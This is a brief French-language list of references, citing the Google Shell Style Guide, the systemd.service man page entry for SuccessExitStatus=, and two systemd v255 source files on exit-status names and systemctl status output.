- Google Shell Style Guide
- systemd, page de manuel systemd.service(5), SuccessExitStatus=
- systemd, code source v255 : noms des codes de sortie (src/shared/exit-status.c) et affichage de systemctl status (src/systemctl/systemctl-show.c)